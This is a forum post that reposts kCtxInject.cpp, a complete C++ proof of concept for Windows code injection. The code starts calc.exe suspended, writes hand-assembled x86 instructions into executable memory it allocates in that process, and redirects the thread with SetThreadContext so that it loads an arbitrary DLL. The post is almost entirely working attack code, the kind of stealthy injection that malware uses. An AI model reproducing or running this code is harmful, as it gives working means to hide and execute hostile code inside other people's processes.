Jump to content
Nytro

kCtxInject.cpp

Recommended Posts

Posted
/******************************************************************************

kCtxInject.cpp : Proof of concept for Get/SetThreadContext remote code running

method.

Refer to the Hackademy Journal (Internation Premium Edition) issue #1 page 17

for more information (http://premium.thehackademy.net)

*****************************************************************************

Author : Kdm (Kodmaker@syshell.org)

WebSite : http://www.syshell.org

Downloaded from : http://premium.thehackademy.net

*****************************************************************************/



#include "stdafx.h"

#include <stdio.h>

#include <stdlib.h>

#include <windows.h>

#include <Tlhelp32.h>



typedef HANDLE (WINAPI* pOpenThread)(DWORD ,BOOL,DWORD);



void ShowLastError()

{

LPVOID lpMsgBuf;

FormatMessage(

FORMAT_MESSAGE_ALLOCATE_BUFFER |

FORMAT_MESSAGE_FROM_SYSTEM |

FORMAT_MESSAGE_IGNORE_INSERTS,

NULL,

GetLastError(),

MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language

(LPTSTR) &lpMsgBuf,

0,

NULL

);

// Process any inserts in lpMsgBuf.

// ...

// Display the string.

MessageBox( NULL, (LPCTSTR)lpMsgBuf, "Error", MB_OK | MB_ICONINFORMATION );

// Free the buffer.

LocalFree( lpMsgBuf );

}





void Die(char* msg)

{

printf("%s\n");

system("pause");

exit(0);

}



// OutputString : Send a formatted string to debugger output

void OutputString(char* frmstr,...) {

char buf[1024*2];

va_list vargs;

va_start(vargs, frmstr);

wvsprintfA(buf, frmstr, vargs);

va_end(vargs);

OutputDebugString((char*)buf);

return;

}



int WakeUpCurrentProcess(DWORD pid)

{

HANDLE hSnap, hThread;

DWORD dPID=pid;

THREADENTRY32 ThEnt = {0};

pOpenThread fOpenThread;



fOpenThread = (pOpenThread) GetProcAddress(GetModuleHandle("kernel32.dll"),"OpenThread");

if(!fOpenThread)

{

OutputDebugString("!OpenThread\n");

return 0;

}



ThEnt.dwSize = sizeof(THREADENTRY32);



hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dPID);

if(hSnap == INVALID_HANDLE_VALUE)

{

printf("CreateToolhelp32Snapshot ERROR\n");

return 0;

}

if (Thread32First(hSnap, &ThEnt))

{

do

{

if (ThEnt.th32OwnerProcessID == dPID)

{

printf( "\nTID\t\t%d\n", ThEnt.th32ThreadID);

printf( "Owner PID\t%d\n", ThEnt.th32OwnerProcessID);

printf( "Delta Priority\t%d\n", ThEnt.tpDeltaPri);

printf( "Base Priority\t%d\n", ThEnt.tpBasePri);

hThread = fOpenThread(THREAD_SUSPEND_RESUME, FALSE, ThEnt.th32ThreadID);

if(hThread)

{

printf("Handle ok\n");

ResumeThread(hThread);

}

}

}

while (Thread32Next(hSnap, &ThEnt));

}

return 1;

}





inline void InsertByte(HANDLE hProcess, DWORD Addr, unsigned char byte)

{

//sizeof(unsigned char)

if(!WriteProcessMemory(hProcess, (void*)Addr, &byte, 1, NULL))

{

printf("byte %d", byte);

Die("cannot be injected\n");

}

}



inline void InsertDword(HANDLE hProcess, DWORD Addr, DWORD dWord)

{

//sizeof(DWORD)

if(!WriteProcessMemory(hProcess, (void*)Addr, &dWord, 4, NULL))

{

printf("dword %d", dWord);

Die("cannot be injected\n");

}

}





/* InjectDll : injects a dll into process whose handle is given in 1st param.

This procedure also needs a handle for a thread that will be hijacked to

run injected code. This code will load the dll whose path is in 4th argument.

*/

void InjectDll(HANDLE hProcess, HANDLE hThread, char* DllPath)

{

CONTEXT ctx; // context structure

// beware of pointers fuck (use dword instead of dword* and casts) :

DWORD Code = (DWORD) NULL; // base address for allocated memory

DWORD DllAddr = (DWORD) NULL; // address of injected dll path in target process

DWORD FuncAddr= (DWORD) NULL; // address of the function to trigger once injected

int i; // loop counter



// [x] 1st step : thread suspension (increases thread suspension count by one)

printf("Suspending target thread... ");

if(SuspendThread(hThread)==0xFFFFFFFF)

{

Die("FAILED\n"); // suspend thread

}

printf("OK\n");



// [x] step 2 : code injection

// get current thread context

printf("Retrieving thread context... ");

ctx.ContextFlags = CONTEXT_FULL; // require full context

if(!GetThreadContext(hThread, &ctx))

{

Die("FAILED\n");

}

printf("OK\n");



// Allocate space for code (1 memory page)

printf("Allocating space for code injection... ");

Code = (DWORD) VirtualAllocEx(hProcess, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if(!Code)

Die("FAILED\n");

printf("OK\n");



// Inject Dll Path into target process

printf("Injecting Dll path ('%s')... ", DllPath);

DllAddr = Code; // keep track of dll path in remote process

if(!WriteProcessMemory(hProcess, (void*)Code, DllPath, strlen(DllPath)+1, NULL))

Die("FAILED\n");

Code += (strlen(DllPath)+1)+1+100; // jump to next free byte after string+'\0'



printf("OK\n", DllPath);



// Start to forge code :

printf("Injecting code... ");

InsertByte (hProcess, Code+0, 0x9c); // pushfd

InsertByte (hProcess, Code+1, 0x60); // pushad ("push all dword", push all registers)

InsertByte (hProcess, Code+2, 0x68); // push ...

InsertDword(hProcess, Code+3, (DWORD)DllAddr); // ... @Dll_Path



// call LoadLibraryA (the DWORD for a call or a jmp is ((to)-(from)-5))

InsertByte (hProcess, Code+7, 0xe8); // call ...



FuncAddr = (DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

//printf("LoadLibraryA found at 0x%X\n", FuncAddr);

InsertDword(hProcess, Code+8, FuncAddr-(Code+8-1)-5); // ... LoadLibraryA





InsertByte (hProcess, Code+12, 0x61); // popad

InsertByte (hProcess, Code+13, 0x9d); // popfd ("push all dword", push all registers)



InsertByte (hProcess, Code+14, 0xe9); // jmp to old EIP

InsertDword(hProcess, Code+15, ctx.Eip - (Code+15-1+5)); // destination - src - 5



printf("OK\n");



//[x] step 3 : run code

printf("Executing code into target process space... ");

ctx.Eip = Code;

SetThreadContext(hThread, &ctx);



// multiple calls to ResumeThread in order to decrease thread's suspend count

// so when it reaches 0, the thread is *truly* resumed

for(i=0; i<5; i++)

ResumeThread(hThread);



printf("OK\n");

}



void SpawnProcessAndInjectDll(char* ProcessPath, char* DllPath)

{

STARTUPINFO si;

PROCESS_INFORMATION pi;

DWORD CreationMode = CREATE_SUSPENDED;

int ret;



printf("Spawning process '%s'... ", ProcessPath);



memset(&si, 0, sizeof(si));

si.cb = sizeof(STARTUPINFO);

ret = CreateProcess(ProcessPath, 0, NULL, NULL, 0, CreationMode, NULL, NULL,

&si, &pi);



if(!ret)

{

Die("FAILED\n");

ShowLastError();

}

printf("OK, it has pid %d\n", pi.dwProcessId);



InjectDll(pi.hProcess, pi.hThread, DllPath);



}



int main(int argc, char* argv[])

{

char dllpath[] = "c:\\kMsgBoxDll.dll";

SpawnProcessAndInjectDll("c:\\windows\\system32\\calc.exe", dllpath);



printf("\n");

system("pause");

return 0;

}



Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...